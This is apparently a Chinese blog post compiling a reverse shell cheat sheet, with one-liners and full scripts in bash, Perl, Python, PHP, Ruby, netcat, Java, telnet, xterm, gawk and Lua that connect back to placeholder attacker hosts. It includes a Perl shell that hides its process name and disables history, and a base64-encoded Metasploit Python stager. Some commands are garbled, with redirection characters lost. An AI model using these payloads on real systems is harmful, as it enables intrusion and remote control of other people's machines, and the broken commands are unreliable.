shell shift与{}_Linux下反弹shell的种种方式

0x01 Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

这里shell由bash解析，有时候是由sh解析，不一定百发百中***在虚拟机里面试过可行，替换成自己的地址和端口即可******/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件，读取或写入相当于建立socket调用******由于其特殊性，命令执行后依旧无法找到/dev/tcp目录更不要说下面的文件了******注意，这里"&"在Linux shell中表示后台运行，当然这里0>&1不是这样,对于&1更准确的说应该是文件描述符1,而1一般代表的就是STDOUT_FILENO****** 2>&1形式用于重定向，2>表示错误重定向，&1表示标准输出；以ls >/dev/null 2>&1为例，2>&1是将标准出错重定向到标准输出，不过在这里又被重定向到了/dev/null这个无底洞里******这里有一个问题：为什么2>&1要写在后面，以command >file 2>&1为例，首先是command > file将标准输出重定向到file中， 2>&1 是标准错误拷贝了标准输出的行为，也就是同样被重定向到file中，最终结果就是标准输出和错误都被重定向到file中******其实还有一个问题，既然2>表示错误重定向，那么0>表示什么呢？查阅资料发现在Linux下输入输出重定向有三个值，其中2已经说过是标准错误信息输出，那0则是标准输入，1则为标准输出了。说到这里，其实又引出了一个新的问题，我们知道进行输出，不是很清楚请大牛指点啊***

http://www.gnucitizen.org/blog/reverse-shell-with-bash上还有一种不同的方法,评论中也有一些想法：

###$ nc -l -p 8080 -vvv$ exec 5<>/dev/tcp/evil.com/8080$ cat &5 >&5; done

这条语句证实可行，这里exec命令可以用来替代当前shell；换句话说，并没有启动子shell，使用这一条命令时任何现有环境变量将会被清除，并重新启动一个shell

exec的man手册如是说：The exec() family of functions replaces the current process image with a new process image

在查exec时发现一个好玩的语句：

　　exec 3<>/dev/tcp/www.google.com/80　　echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3　　cat 

这个语句的作用，应该一看就明了了，不多说，言归正传，nc监听，使用exec反弹的shell其输出只能在目标机器上看到，有图为证***

另外还可以是：

exec /bin/bash 0&0 2>&0

0/dev/tcp/attackerip/4444; sh &196 2>&196

/bin/bash  -i > /dev/tcp/attackerip/8080 0&1

***在测试exec /bin/bash 0&0 2>&0语句时，遇到一个问题，终端显示No such file or directory或者干脆找不到命令，怎么让它实现还有待研究******研究表明，exec 2>&0即可，不需要/bin/bash，然后跟上0196;

0x02 Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

使用这条命令，唯一的不同是提示符变成了sh-4.1#，实现原理和前面的bash差不多，Perl还是很强大的。

不依赖于/bin/sh的shell：

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

这条语句比上面的更为简短，而且确实不需要依赖/bin/sh

系统运行windows时：

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

再给出一个完整的Perl的反弹脚本：

#!/usr/bin/perl -w# perl-reverse-shell - A Reverse Shell implementation in PERLuse strict;use Socket;use FileHandle;use POSIX;my $VERSION = "1.0";# Where to send the reverse shell.  Change these.my $ip = '127.0.0.1';my $port = 1234;# Optionsmy $daemon = 1;my $auth   = 0; # 0 means authentication is disabled and any        # source IP can access the reverse shellmy $authorised_client_pattern = qr(^127\.0\.0\.1$);# Declarationsmy $global_page = "";my $fake_process_name = "/usr/sbin/apache";# Change the process name to be less conspicious$0 = "[httpd]";# Authenticate based on source IP address if requiredif (defined($ENV{'REMOTE_ADDR'})) {    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");    if ($auth) {        unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {            cgiprint("ERROR: Your client isn't authorised to view this page");            cgiexit();        }    }} elsif ($auth) {    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.  Denying access");    cgiexit(0);}# Background and dissociate from parent process if requiredif ($daemon) {    my $pid = fork();    if ($pid) {        cgiexit(0); # parent exits    }    setsid();    chdir('/');    umask(0);}# Make TCP connection for reverse shellsocket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {    cgiprint("Sent reverse shell to $ip:$port");    cgiprintpage();} else {    cgiprint("Couldn't open reverse shell to $ip:$port: $!");    cgiexit();}# Redirect STDIN, STDOUT and STDERR to the TCP connectionopen(STDIN, ">&SOCK");open(STDOUT,">&SOCK");open(STDERR,">&SOCK");$ENV{'HISTFILE'} = '/dev/null';system("w;uname -a;id;pwd");exec({"/bin/sh"} ($fake_process_name, "-i"));# Wrapper around printsub cgiprint {    my $line = shift;    $line .= "

\n"

; $global_page .= $line;}# Wrapper around exitsub cgiexit { cgiprintpage(); exit 0; # 0 to ensure we don't give a 500 response.}# Form HTTP response using all the messages gathered by cgiprint so farsub cgiprintpage { print "Content-Length: " . length($global_page) . "\rConnection: close\rContent-Type: text\/html\r\n\r\n" . $global_page;}

0x03 Python

#测试环境为Linux Python2.7

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

另外的形式：[http://www.r00tsec.com/2011/10/python-one-line-shellcode.html]还有其他可行的代码

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

另外Metasploit版的代码：

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))

 base64解码：

import socket,structs=socket.socket(2,1)s.connect(('192.168.90.1',1234))l=struct.unpack('>I',s.recv(4))[0]d=s.recv(4096)while len(d)!=l:    d+=s.recv(4096)exec(d,{'s':s})

0x04 PHP

#代码假设TCP连接的文件描述符为3，如果不行可以试下4,5,6

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &3 2>&3");

https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php为一个上传的完整php反弹shell脚本

0x05 Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'

不依赖于/bin/sh的shell：

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

如果目标系统运行Windows：

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

当然还有我们很熟悉的MSF模块里面也是有反弹shell的：

#!/usr/bin/env rubyrequire 'socket'require 'open3'#Set the Remote Host IPRHOST = "192.168.1.10" #Set the Remote Host PortPORT = "6667"#Tries to connect every 20 sec until it connects.beginsock = TCPSocket.new "#{RHOST}", "#{PORT}"sock.puts "We are connected!"rescue  sleep 20  retryend#Runs the commands you type and sends you back the stdout and stderr.begin  while line = sock.gets    Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |              IO.copy_stream(stdout_and_stderr, sock)              end    endrescue  retryend

0x06 NetCat

nc -e /bin/sh 10.0.0.1 1234　　#不同版本的nc不一定支持-e选项

不能使用-e选项时：

mknod backpipe p && nc attackerip 8080 0backpipe/bin/sh | nc attackerip 4444rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/

安装的NC版本有问题时：

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

0x07 Java

r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"] as String[])p.waitFor()

msf使用为：

use payload/java/shell/reverse_tcp

再见一段长代码：

import java.io.*;import java.net.Socket;import java.util.*;import java.util.regex.*;import java.applet.Applet;public class poc extends Applet{    /**     * Author: daniel baier alias duddits     * Licens: GPL     * Requirements: JRE 1.5 for running and the JDK 1.5 for compiling or higher     * Version: 0.1 alpha release     */    public String cd(String start, File currentDir) {        File fullPath = new File(currentDir.getAbsolutePath());        String sparent = fullPath.getAbsoluteFile().toString();        return sparent + "/" + start;        }    @SuppressWarnings("unchecked")    public void init() {        poc rs = new poc();        PrintWriter out;        try {            Socket clientSocket = new Socket("192.168.5.222",10003);            out = new PrintWriter(clientSocket.getOutputStream(), true);            out.println("\tJRS 0.1 alpha release\n\tdeveloped by duddits alias daniel baier");            boolean run = true;            String s;            BufferedReader br = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));            String startort = "/";            while (run) {                String z1;                File f = new File(startort);                out.println(f.getAbsolutePath() + "> ");                s = br.readLine();                z1 = s;                Pattern pcd = Pattern.compile("^cd\\s");                Matcher mcd = pcd.matcher(z1);                String[] teile1 = pcd.split(z1);                if (s.equals("exit")) {                    run = false;                }else if (s.equals(null) || s.equals("cmd") || s.equals("")) {                } else if(mcd.find()){                    try {                        String cds = rs.cd(teile1[1], new File(startort));                        startort = cds;                        } catch (Exception verz) {                        out.println("Path " + teile1[1]                        + " not found.");                        }                }else {                    String z2;                    z2 = s;                    Pattern pstring = Pattern.compile("\\s");                    String[] plist = pstring.split(z2);                    try {                        LinkedList slist = new LinkedList();                        for (int i = 0; i < plist.length; i++) {                            slist.add(plist[i]);                        }                        ProcessBuilder builder = new ProcessBuilder(slist);                        builder.directory(new File(startort));                        Process p = builder.start();                        Scanner se = new Scanner(p.getInputStream());                        if (!se.hasNext()) {                            Scanner sa = new Scanner(p.getErrorStream());                            while (sa.hasNext()) {                                out.println(sa.nextLine());                            }                        }                        while (se.hasNext()) {                            out.println(se.nextLine());                        }                    } catch (Exception err) {                        out.println(f.getAbsolutePath() + "> Command "                                + s + " failed!");                        out.println(f.getAbsolutePath() +"> Please try cmd /c "+ s+" or bash -c " +s+" if this command is an shell buildin.");                    }                }            }            if(!clientSocket.isConnected()){                run = false;                out.flush();                out.close();            }        } catch (Exception io) {            //System.err.println("Connection refused by peer");        }    }}

0x08 Telnet 

#nc不可用或/dev/tcp不可用时

mknod backpipe p && telnet attackerip 8080 0/bin/bash 1>backpipe

 ***这里mknod是创建特殊文件-设备文件***

0x09 Xterm

首先开启Xserver：　　# TCP 6001Xnest :1               # Note: The command starts with uppercase X授予目标机连回来的权限：xterm -display 127.0.0.1:1          # Run this OUTSIDE the Xnest, another tabxhost +targetip                         # Run this INSIDE the spawned xterm on the open X Server如果想让任何人都连上：xhost +                     # Run this INSIDE the spawned xterm on the open X Server假设xterm已安装，连回你的Xserver：xterm -display attackerip:1或者：$ DISPLAY=attackerip:0 xterm

0x10 gawk

#!/usr/bin/gawk -fBEGIN {        Port    =       8080        Prompt  =       "bkd> "        Service = "/inet/tcp/" Port "/0/0"        while (1) {                do {                        printf Prompt |& Service                        Service |& getline cmd                        if (cmd) {                                while ((cmd |& getline) > 0)                                        print $0 |& Service                                close(cmd)                        }                } while (cmd != "exit")                close(Service)        }}

0x11 乌云上一个lua实现

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i &3 2>&3');"

***lua之前是真没见过，发现机器竟然一时装不上，唉，留着以后玩吧***

msf反弹：

use payload/cmd/unix/reverse_lua

0x12 参考

https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.htmlhttp://roo7break.co.uk/?p=215http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

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